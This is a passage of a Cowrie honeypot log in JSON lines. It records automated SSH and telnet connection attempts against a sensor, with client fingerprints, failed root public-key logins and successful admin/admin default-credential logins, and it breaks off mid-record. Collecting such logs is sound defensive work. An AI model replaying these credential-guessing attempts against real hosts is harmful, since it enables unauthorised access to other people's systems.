{"eventid":"cowrie.session.connect","src_ip":"176.65.136.174","src_port":53040,"dst_ip":"10.17.0.5","dst_port":22,"session":"93bd63eced51","protocol":"ssh","message":"New connection: 176.65.136.174:53040 (10.17.0.5:22) [session: 93bd63eced51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:20:35.961079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:20:35.966227Z","src_ip":"176.65.136.174","session":"93bd63eced51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:20:36.060264Z","src_ip":"176.65.136.174","session":"93bd63eced51","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"02:23:4d:42:1a:fe:f2:70:e6:d8:ab:e7:df:2b:47:e9","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAN8Ge7hhdkVLQbpXvvLynl3l54mSR9kqC2mKxZH7kKqZn575ozA/I+bsRmM7BPGEzcqKDZ3DX/yyyb3cs6QjClSqYNqprtdfJ77qqVKXJVHnSZsuoTIjQjhxDcir5TlVm2tI3DoYrABPfltd5SIxUVtfTZ/GF+3MdpinxsjV5oBXAAAAFQD43RdoKDwSqdyHFmPQeCQHcEZAyQAAAIEAwHkcKeflKO60UBqQcqZ9U08GMeJyz/A3t23M5kQMwiXIXXRK/zTYme1mApXe0QzQKmLYLrzd7XmqME36bF8clhO5sjJ5rLwOPb+NWtZnETmpfjMRQ+Aa7tIqt/kvSNNEZB8YMGjAl8nwV1fd3SMypBbjGzpSe+Q4LgS3wb+UXLUAAACBAJJjDkF/hEFelgdacWX0gDPUKV4tbB3DcBFT6UpnJgAv4OGLXMLxpPJBDvkLe3z3onbOzX8zCl339UUDw4DvB4LzgPrSuB3Se8CCoGKXIVs8iCW6lRzLlKSuiF8k7cu7KS0R7oTe2DIqY9ALHLq/qbX3yy/08J/MI6uXhLjZv+Iw","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 02:23:4d:42:1a:fe:f2:70:e6:d8:ab:e7:df:2b:47:e9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:20:36.484421Z","src_ip":"176.65.136.174","session":"93bd63eced51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"02:23:4d:42:1a:fe:f2:70:e6:d8:ab:e7:df:2b:47:e9","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAN8Ge7hhdkVLQbpXvvLynl3l54mSR9kqC2mKxZH7kKqZn575ozA/I+bsRmM7BPGEzcqKDZ3DX/yyyb3cs6QjClSqYNqprtdfJ77qqVKXJVHnSZsuoTIjQjhxDcir5TlVm2tI3DoYrABPfltd5SIxUVtfTZ/GF+3MdpinxsjV5oBXAAAAFQD43RdoKDwSqdyHFmPQeCQHcEZAyQAAAIEAwHkcKeflKO60UBqQcqZ9U08GMeJyz/A3t23M5kQMwiXIXXRK/zTYme1mApXe0QzQKmLYLrzd7XmqME36bF8clhO5sjJ5rLwOPb+NWtZnETmpfjMRQ+Aa7tIqt/kvSNNEZB8YMGjAl8nwV1fd3SMypBbjGzpSe+Q4LgS3wb+UXLUAAACBAJJjDkF/hEFelgdacWX0gDPUKV4tbB3DcBFT6UpnJgAv4OGLXMLxpPJBDvkLe3z3onbOzX8zCl339UUDw4DvB4LzgPrSuB3Se8CCoGKXIVs8iCW6lRzLlKSuiF8k7cu7KS0R7oTe2DIqY9ALHLq/qbX3yy/08J/MI6uXhLjZv+Iw","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:20:36.489251Z","src_ip":"176.65.136.174","session":"93bd63eced51","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ac:28:6c:39:c6:6b:c9:d9:37:a2:e2:e6:04:b6:e3:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCxUApHmtXpmHLHvp4Mh3xZpddya+lANTAoIWZDMY5UO2fQ2FAl64H08OSLblnFriKqHuUEr0GAwRSE5STTrV8wq4cnAUy+6UwrgVRt0DU3El66a771hJ9/spOa1gKYsV7Ynx9rIYKR1Ecg73LCOKvY9RoC7tbPpm33FkME/wzliDCUK1qN7kdEBUNjaF44ImFOJbKzNPEpCrTHrpPabdeLQkZL0PhzDx71X7HApj2T3Ntcl6Pdq5t5Tp3TlFoVxc4ewwMgdrTgXMxPnKX0jOrMo6tLfyFDVGhrFfGiR5XBIu3uVYe2OTV53i/1iXYeEfK4WiYB3ykNwql0bt35M64U8D7romJeH/T6XA/OuLCWKcOLQjCWOjZUhiMBQOa5jL9wzlG3XPxtrDoxXj/s9AkxlxIxqFsPfg9VEH0SXk3d6Co/zBCFSG/QJ4Wj86l2o4XtgIaSDARWXMbQ5GaDYBbliOMH7RgDHMKkpoHCKXU/otENTdlnKV4DI7opvvb1QN5fKpC1lGXOKzrjZgYu0tWetBlSa42XK7cOk1elJYSGxg6D47ySAoGu7lH6PehdnYO0d6cfOhWO4jCGvz7BxWHsD+IhD9c8AHl8sYn+YsCB4QBm6/R5kjfLkJHSjayInr2aw5XO79KPc5L3zJbb8/swuQ7qZaH9e5Elz9Sj5F9sTQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ac:28:6c:39:c6:6b:c9:d9:37:a2:e2:e6:04:b6:e3:f5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:20:36.580034Z","src_ip":"176.65.136.174","session":"93bd63eced51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ac:28:6c:39:c6:6b:c9:d9:37:a2:e2:e6:04:b6:e3:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCxUApHmtXpmHLHvp4Mh3xZpddya+lANTAoIWZDMY5UO2fQ2FAl64H08OSLblnFriKqHuUEr0GAwRSE5STTrV8wq4cnAUy+6UwrgVRt0DU3El66a771hJ9/spOa1gKYsV7Ynx9rIYKR1Ecg73LCOKvY9RoC7tbPpm33FkME/wzliDCUK1qN7kdEBUNjaF44ImFOJbKzNPEpCrTHrpPabdeLQkZL0PhzDx71X7HApj2T3Ntcl6Pdq5t5Tp3TlFoVxc4ewwMgdrTgXMxPnKX0jOrMo6tLfyFDVGhrFfGiR5XBIu3uVYe2OTV53i/1iXYeEfK4WiYB3ykNwql0bt35M64U8D7romJeH/T6XA/OuLCWKcOLQjCWOjZUhiMBQOa5jL9wzlG3XPxtrDoxXj/s9AkxlxIxqFsPfg9VEH0SXk3d6Co/zBCFSG/QJ4Wj86l2o4XtgIaSDARWXMbQ5GaDYBbliOMH7RgDHMKkpoHCKXU/otENTdlnKV4DI7opvvb1QN5fKpC1lGXOKzrjZgYu0tWetBlSa42XK7cOk1elJYSGxg6D47ySAoGu7lH6PehdnYO0d6cfOhWO4jCGvz7BxWHsD+IhD9c8AHl8sYn+YsCB4QBm6/R5kjfLkJHSjayInr2aw5XO79KPc5L3zJbb8/swuQ7qZaH9e5Elz9Sj5F9sTQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:20:36.584054Z","src_ip":"176.65.136.174","session":"93bd63eced51","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"32:d7:04:fc:01:9b:cd:99:3a:9f:62:c6:2f:34:b1:df","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC40y2Nla5TR5bQPBEoRPlaGxCha/k1gI/TaXVjVjK12XRdoTnXbHrNUHpHEVx1Y3rXKIQEcfYSzKndVu9FCpMnbancbuEb+5RhgLXouYDCTvH1mgpKfgd2dg8ewWMCfKTkmRx9dC3MIwHu5gEx+GHaSal5kPU+BN45hz1+fged1FpnlgC9vUqBTpB3a8CDrJvZgWKt81sSutJp4fsqQl+ccYAEJ3dJuPZXfKg73t8xW1GezEPCsyAmQo1URvtjIHToXnMe9jjN1Thaq0BsohuWbDqRbGbloQSY51v5IdTvsMZ2IOTgAf7o+7VcRhMYpHpyz71igAdw1Q0W94qDy/gV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 32:d7:04:fc:01:9b:cd:99:3a:9f:62:c6:2f:34:b1:df","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:20:36.677537Z","src_ip":"176.65.136.174","session":"93bd63eced51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"32:d7:04:fc:01:9b:cd:99:3a:9f:62:c6:2f:34:b1:df","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC40y2Nla5TR5bQPBEoRPlaGxCha/k1gI/TaXVjVjK12XRdoTnXbHrNUHpHEVx1Y3rXKIQEcfYSzKndVu9FCpMnbancbuEb+5RhgLXouYDCTvH1mgpKfgd2dg8ewWMCfKTkmRx9dC3MIwHu5gEx+GHaSal5kPU+BN45hz1+fged1FpnlgC9vUqBTpB3a8CDrJvZgWKt81sSutJp4fsqQl+ccYAEJ3dJuPZXfKg73t8xW1GezEPCsyAmQo1URvtjIHToXnMe9jjN1Thaq0BsohuWbDqRbGbloQSY51v5IdTvsMZ2IOTgAf7o+7VcRhMYpHpyz71igAdw1Q0W94qDy/gV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:20:36.681886Z","src_ip":"176.65.136.174","session":"93bd63eced51","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"23:47:88:94:96:ef:85:f4:57:a1:e5:a1:cb:4c:8a:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0gPC8zelfx4CBSHvugeTjAgdYX1a+IEOyy3AJFNipsWt+wAmkyi+cv++kLta3t/duvEQm+OTnHTxl9v9rg2nfqG5nSjQ711IEIKn2tPciJYpg2WqtnTYYkuXITAd3AoVfW+US1jR43c8CzOXvkuH6xhITPDgTYwPRNAqlg3EgaTJeXE1S3tAzvkvqLH8Q0Sm90YTlE7NPT6u35s8GEctq0M5ieBYIPJ/xFJCQat1CsRtV49FRXTHpHzgNScaGaXC+zVkNiurwIAZDa1UY1xJ9RF7vSmnFgk+R79QvHJVliF7v+gIBFCg9corPdq+Wy8xzQ0eg+mUMJJiXl15/NhZB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 23:47:88:94:96:ef:85:f4:57:a1:e5:a1:cb:4c:8a:fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:20:36.771339Z","src_ip":"176.65.136.174","session":"93bd63eced51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"23:47:88:94:96:ef:85:f4:57:a1:e5:a1:cb:4c:8a:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0gPC8zelfx4CBSHvugeTjAgdYX1a+IEOyy3AJFNipsWt+wAmkyi+cv++kLta3t/duvEQm+OTnHTxl9v9rg2nfqG5nSjQ711IEIKn2tPciJYpg2WqtnTYYkuXITAd3AoVfW+US1jR43c8CzOXvkuH6xhITPDgTYwPRNAqlg3EgaTJeXE1S3tAzvkvqLH8Q0Sm90YTlE7NPT6u35s8GEctq0M5ieBYIPJ/xFJCQat1CsRtV49FRXTHpHzgNScaGaXC+zVkNiurwIAZDa1UY1xJ9RF7vSmnFgk+R79QvHJVliF7v+gIBFCg9corPdq+Wy8xzQ0eg+mUMJJiXl15/NhZB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:20:36.776125Z","src_ip":"176.65.136.174","session":"93bd63eced51","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d2:77:41:cd:b4:91:24:e1:b1:0b:88:85:d7:11:e9:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJnViLKMcckirTkQNOXbG9KO/D4tw3NBAFoiXbiEdK2AK+pXjfV1eaKBCpxnSHxUKF5TdAgSJoMm0liwnz6vAS3YHwKVaWFQMf46rP+u7PNVIJq5J6snuV9t7YYpYz8f7ygzSpr2sj1eu6G7lARG7ZbTyXBmzv1rV9BpXueV3vRg4pAxHGHoFHUmhuWIqwQ9i2qoMw6IFoi5n5vKLXFmVQ3b4zBNTrk5zv3XDjagzvq3LZ5rarWzH0de5rJXO+pOdlV9HqsbprWIK0vBaCUSewihEXF/9OXPiaCwv3uV21fUmUXg8VUDAQagFPf4yWS7F1zW5eYQAQ1ONMFvONX//T","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d2:77:41:cd:b4:91:24:e1:b1:0b:88:85:d7:11:e9:f4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:20:36.867041Z","src_ip":"176.65.136.174","session":"93bd63eced51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d2:77:41:cd:b4:91:24:e1:b1:0b:88:85:d7:11:e9:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJnViLKMcckirTkQNOXbG9KO/D4tw3NBAFoiXbiEdK2AK+pXjfV1eaKBCpxnSHxUKF5TdAgSJoMm0liwnz6vAS3YHwKVaWFQMf46rP+u7PNVIJq5J6snuV9t7YYpYz8f7ygzSpr2sj1eu6G7lARG7ZbTyXBmzv1rV9BpXueV3vRg4pAxHGHoFHUmhuWIqwQ9i2qoMw6IFoi5n5vKLXFmVQ3b4zBNTrk5zv3XDjagzvq3LZ5rarWzH0de5rJXO+pOdlV9HqsbprWIK0vBaCUSewihEXF/9OXPiaCwv3uV21fUmUXg8VUDAQagFPf4yWS7F1zW5eYQAQ1ONMFvONX//T","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:20:36.871927Z","src_ip":"176.65.136.174","session":"93bd63eced51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:20:36.964129Z","src_ip":"176.65.136.174","session":"93bd63eced51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.56620931625366,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:21:06.497444Z","src_ip":"135.148.14.151","session":"91e24742e40f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"118.145.104.37","src_port":35648,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9ca78a19e45","protocol":"ssh","message":"New connection: 118.145.104.37:35648 (10.17.0.5:22) [session: f9ca78a19e45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:21:40.593228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:21:40.598099Z","src_ip":"118.145.104.37","session":"f9ca78a19e45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:21:40.828945Z","src_ip":"118.145.104.37","session":"f9ca78a19e45","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:21:42.655256Z","src_ip":"118.145.104.37","session":"f9ca78a19e45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:21:42.899098Z","src_ip":"118.145.104.37","session":"f9ca78a19e45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.51","src_port":36764,"dst_ip":"10.17.0.5","dst_port":22,"session":"30ce227b1b40","protocol":"ssh","message":"New connection: 130.12.180.51:36764 (10.17.0.5:22) [session: 30ce227b1b40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:21:43.010330Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:21:43.015451Z","src_ip":"130.12.180.51","session":"30ce227b1b40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5f904648ee8964bef0e8834012e26003","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5f904648ee8964bef0e8834012e26003","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:21:43.098005Z","src_ip":"130.12.180.51","session":"30ce227b1b40","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:21:43.345429Z","src_ip":"130.12.180.51","session":"30ce227b1b40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:21:43.873749Z","src_ip":"130.12.180.51","session":"30ce227b1b40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":49052,"dst_ip":"159.203.135.109","dst_port":23,"session":"64c7047cdb62","protocol":"telnet","message":"New connection: 135.148.14.151:49052 (159.203.135.109:23) [session: 64c7047cdb62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:21:54.079698Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":51998,"dst_ip":"159.203.135.109","dst_port":23,"session":"c423ac497ee4","protocol":"telnet","message":"New connection: 135.148.14.151:51998 (159.203.135.109:23) [session: c423ac497ee4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:22:00.581176Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":56720,"dst_ip":"159.203.135.109","dst_port":23,"session":"a512a83493b7","protocol":"telnet","message":"New connection: 135.148.14.151:56720 (159.203.135.109:23) [session: a512a83493b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:22:13.653112Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":58550,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3f8170af2ea","protocol":"telnet","message":"New connection: 135.148.14.151:58550 (159.203.135.109:23) [session: b3f8170af2ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:22:15.868984Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":49124,"dst_ip":"159.203.135.109","dst_port":22,"session":"429e53dfbc9c","protocol":"ssh","message":"New connection: 194.59.206.2:49124 (159.203.135.109:22) [session: 429e53dfbc9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:22:18.387911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:22:18.394159Z","src_ip":"194.59.206.2","session":"429e53dfbc9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"